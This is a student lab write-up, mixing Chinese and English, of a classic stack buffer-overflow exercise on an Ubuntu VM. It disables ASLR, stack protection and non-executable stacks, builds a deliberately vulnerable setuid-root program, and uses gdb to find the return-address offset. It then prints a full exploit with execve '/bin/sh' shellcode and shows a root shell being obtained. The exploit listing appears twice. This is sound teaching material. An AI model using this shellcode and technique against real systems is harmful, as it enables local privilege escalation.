LAB 2.3

王伟杰

Contents

Buffer Overflow Vulnerability

1 Overview

The learning objective of this lab is for students to gain the first-hand experience on buffer-overflow vulnerability by putting what they have learned about the vulnerability from class into actions. Buffer overflow is defined as the condition in which a program attempts to write data beyond the boundaries of pre-allocated fixed length buffers. This vulnerability can be utilized by a malicious user to alter the flow control of the program, even execute arbitrary pieces of code. This vulnerability arises due to the mixing of the storage for data (e.g. buffers) and the storage for controls (e.g. return addresses): an overflow in the data part can affect the control flow of the program, because an overflow can change the return address.

In this lab, you will be given a program with a buffer-overflow vulnerability; your task is to develop a scheme to exploit the vulnerability and finally to gain the root privilege. It uses Ubuntu VM created in Lab 2.1. Ubuntu 12.04 is recommended.

2 Linux Security Mechanisms

2.1 Address Space Randomization

Ubuntu 和其他几个基于 Linux 的系统使用地址空间随机化来随机化堆和堆栈的起始地址。这使得猜测确切地址变得困难；猜测地址是缓冲区溢出攻击的关键步骤之一。在本实验中，我们使用以下命令禁用这些功能

```
sysctl -w kernel.randomize_va_space=0
```

2.2 ExecShield Protection

Fedora linux默认实现了一种叫做ExecShield的保护机制，而Ubuntu系统默认没有这种保护。ExecShield 本质上不允许执行存储在堆栈中的任何代码。因此，缓冲区溢出攻击将不起作用。需要在 Fedora 中禁用 ExecShield

```
sysctl -w kernel.exec-shield=0
```

3 GCC Security Mechanisms

3.1 The StackGuard Protection Scheme

GCC 编译器实现了一种称为“Stack Guard”的安全机制来防止缓冲区溢出。在这种保护的存在下，缓冲区溢出将不起作用。可以在使用开关*-fno-stack-protector*编译程序时禁用此保护。例如，要在禁用 Stack Guard 的情况下编译程序 example.c，可以使用以下命令

```
gcc -fno-stack-protector example.c
```

3.2 Non-Executable Stack

Ubuntu 过去是允许可执行堆栈的，但现在已经改变了：程序（和共享库）的二进制映像必须声明是否需要可执行堆栈，即它们需要在程序头中标记一个字段。内核或动态链接器使用此标记来决定是否使此正在运行的程序的堆栈可执行或不可执行。此标记由最新版本的 gcc 自动完成，默认情况下，堆栈设置为不可执行。要更改它，需要在编译程序时使用以下选项

```
For executable stack:
$ gcc -z execstack -o test test.c

For non-executable stack:
$ gcc -z noexecstack -o test test.c
```

4 Shellcodes

在开始攻击之前，需要一个 shellcode。shellcode 是启动 shell 的代码。它必须加载到内存中，以便我们可以强制易受攻击的程序跳转到它。

5 Steps

5.1 禁用地址空间随机化

```
lhmd@ubuntu:~$ su root
Password:
root@ubuntu:/home/lhmd# sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
root@ubuntu:/home/lhmd#
```

5.2 创建易受攻击的程序

按照实验要求创建程序`stack.c`

lhmd@ubuntu: ~/Documents

```
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(char *str)
{
  char buffer[12];

  /*The following statement has a buffer overflow problem*/
  strcpy(buffer, str);
  return 1;
}
int main(int argc, char **argv)
{
  char str[517];
  FILE *badfile;

  badfile = fopen("badfile", "r");
  fread(str, sizeof(char), 517, badfile);
  bof(str);
  printf("Returned Properly\n");
  return 1;
}
~
"stack.c" 22 lines, 406 characters
```

5.3 编译漏洞程序并设置为root-uid

通过在 root 帐户中编译它来实现这一点，并将可执行文件更改为 4755

```
lhmd@ubuntu:~/Documents$ su root
Password:
root@ubuntu:/home/lhmd/Documents# gcc -o stack -z execstack -fno-stack-protector
 stack.c
root@ubuntu:/home/lhmd/Documents# chmod 4755 stack
root@ubuntu:/home/lhmd/Documents# exit
exit
lhmd@ubuntu:~/Documents$
```

5.4 完善漏洞代码

运行下面代码

```
$ gdb stack
$ disass bof
```

在运行过程中发现`Segmentation fault (core dumped)`问题，查询资料可知，是因为系统设置了core文件大小为0。通过命令ulimit -a即可查询到。
在执行ulimit -c unlimited命令后，core文件大小就不受限制。

```
lhmd@ubuntu:~/Documents$ ulimit -a
core file size          (blocks, -c) 0
data seg size           (kbytes, -d) unlimited
scheduling priority             (-e) 0
file size               (blocks, -f) unlimited
pending signals                 (-i) 32123
max locked memory       (kbytes, -l) 64
max memory size         (kbytes, -m) unlimited
open files                      (-n) 1024
pipe size            (512 bytes, -p) 8
POSIX message queues     (bytes, -q) 819200
real-time priority              (-r) 0
stack size              (kbytes, -s) 8192
cpu time               (seconds, -t) unlimited
max user processes              (-u) 32123
virtual memory          (kbytes, -v) unlimited
file locks                      (-x) unlimited
lhmd@ubuntu:~/Documents$ ulimit -c unlimited
```

运行上述指令：

```
(gdb) disass bof
Dump of assembler code for function bof:
   0x08048484 <+0>:     push   %ebp
   0x08048485 <+1>:     mov    %esp,%ebp
   0x08048487 <+3>:     sub    $0x28,%esp
   0x0804848a <+6>:     mov    0x8(%ebp),%eax
   0x0804848d <+9>:     mov    %eax,0x4(%esp)
   0x08048491 <+13>:    lea    -0x14(%ebp),%eax
   0x08048494 <+16>:    mov    %eax,(%esp)
   0x08048497 <+19>:    call   0x8048380 <strcpy@plt>
   0x0804849c <+24>:    mov    $0x1,%eax
   0x080484a1 <+29>:    leave
   0x080484a2 <+30>:    ret
End of assembler dump.
```

```
(gdb) b *bof+16
Breakpoint 1 at 0x8048494
(gdb) run
Starting program: /home/lhmd/Documents/stack

Breakpoint 1, 0x08048494 in bof ()
(gdb) i r $eax
eax            0xbffff0a4       -1073745756
(gdb)
```

观察可知，根据语句计算的地址为$0xbffff0a4 + 0x100 = 0xbffff1a4$

```
(gdb) b *bof+1
Breakpoint 1 at 0x8048485
(gdb) run
Starting program: /home/lhmd/Documents/stack

Breakpoint 1, 0x08048485 in bof ()
(gdb) i r $esp
esp            0xbffff0b8       0xbffff0b8
(gdb)
```

获得函数的返回地址，为$0xbffff0b8 + 0x4 = 0xbffff0bc$，计算差值为$0xbffff0bc - 0xbffff0a4 = 0x18$，即要修改函数返回地址为buffer+24。

所以修改文件如下：

```
1  /*exploit.c*/
2  /*A program that creates a file containing code for launching shell*/
3  #include <stdlib.h>
4  #include <stdio.h>
5  #include <string.h>
6  /*Shellcode as follow is for linux 32bit. If your linux is a 64bit system, you need to replace
   "code[]" with the 64bit shellcode we talked above.*/
7  const char code[] =
8    "\x31\xc0" /*Line 1: xorl %eax,%eax*/
```

```
  "\x50" /*Line 2: pushl %eax*/
  "\x68""//sh" /*Line 3: pushl $0x68732f2f*/
  "\x68""/bin" /*Line 4: pushl $0x6e69622f*/
  "\x89\xe3" /*Line 5: movl %esp,%ebx*/
  "\x50" /*Line 6: pushl %eax*/
  "\x53" /*Line 7: pushl %ebx*/
  "\x89\xe1" /*Line 8: movl %esp,%ecx*/
  "\x99" /*Line 9: cdq*/
  "\xb0\x0b" /*Line 10: movb $0x0b,%al*/
  "\xcd\x80" /*Line 11: int $0x80*/
  ;
void main(int argc, char **argv) {
  char buffer[517];
  FILE *badfile;

  /* Initialize buffer with 0x90 (NOP instruction) */
  memset(&buffer, 0x90, 517);

  /* You need to fill the buffer with appropriate contents here */
  const char address[] = "\xa4\xf1\xff\xbf";
  strcpy(buffer+24, address);
  strcpy(buffer+0x100, code);

  /* Save the contents to the file "badfile" */
  badfile = fopen("./badfile", "w");
  fwrite(buffer, 517, 1, badfile);
  fclose(badfile);
  }
```

exploit.c (~/Documents) - gedit

Open Save Undo

exploit.c

```
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
/*Shellcode as follow is for linux 32bit. If your linux is a 64bit system, you need to replace "code[]" with the 64bit
shellcode we talked above.*/
const char code[] =
  "\x31\xc0" /*Line 1: xorl %eax,%eax*/
  "\x50" /*Line 2: pushl %eax*/
  "\x68""//sh" /*Line 3: pushl $0x68732f2f*/
  "\x68""/bin" /*Line 4: pushl $0x6e69622f*/
  "\x89\xe3" /*Line 5: movl %esp,%ebx*/
  "\x50" /*Line 6: pushl %eax*/
  "\x53" /*Line 7: pushl %ebx*/
  "\x89\xe1" /*Line 8: movl %esp,%ecx*/
  "\x99" /*Line 9: cdq*/
  "\xb0\x0b" /*Line 10: movb $0x0b,%al*/
  "\xcd\x80" /*Line 11: int $0x80*/
  ;
void main(int argc, char **argv) {
  char buffer[517];
  FILE *badfile;

  /* Initialize buffer with 0x90 (NOP instruction) */
  memset(&buffer, 0x90, 517);

  /* You need to fill the buffer with appropriate contents here */
  const char address[] = "\xa4\xf1\xff\xbf";
  strcpy(buffer+24, address);
  strcpy(buffer+0x100, code);

  /* Save the contents to the file "badfile" */
  badfile = fopen("./badfile", "w");
  fwrite(buffer, 517, 1, badfile);
  fclose(badfile);
  }
```

5.5 编译并运行

```
lhmd@ubuntu:~/Documents$ gcc -o exploit exploit.c
lhmd@ubuntu:~/Documents$ ./exploit
lhmd@ubuntu:~/Documents$ ./stack
# whoami
root
#
```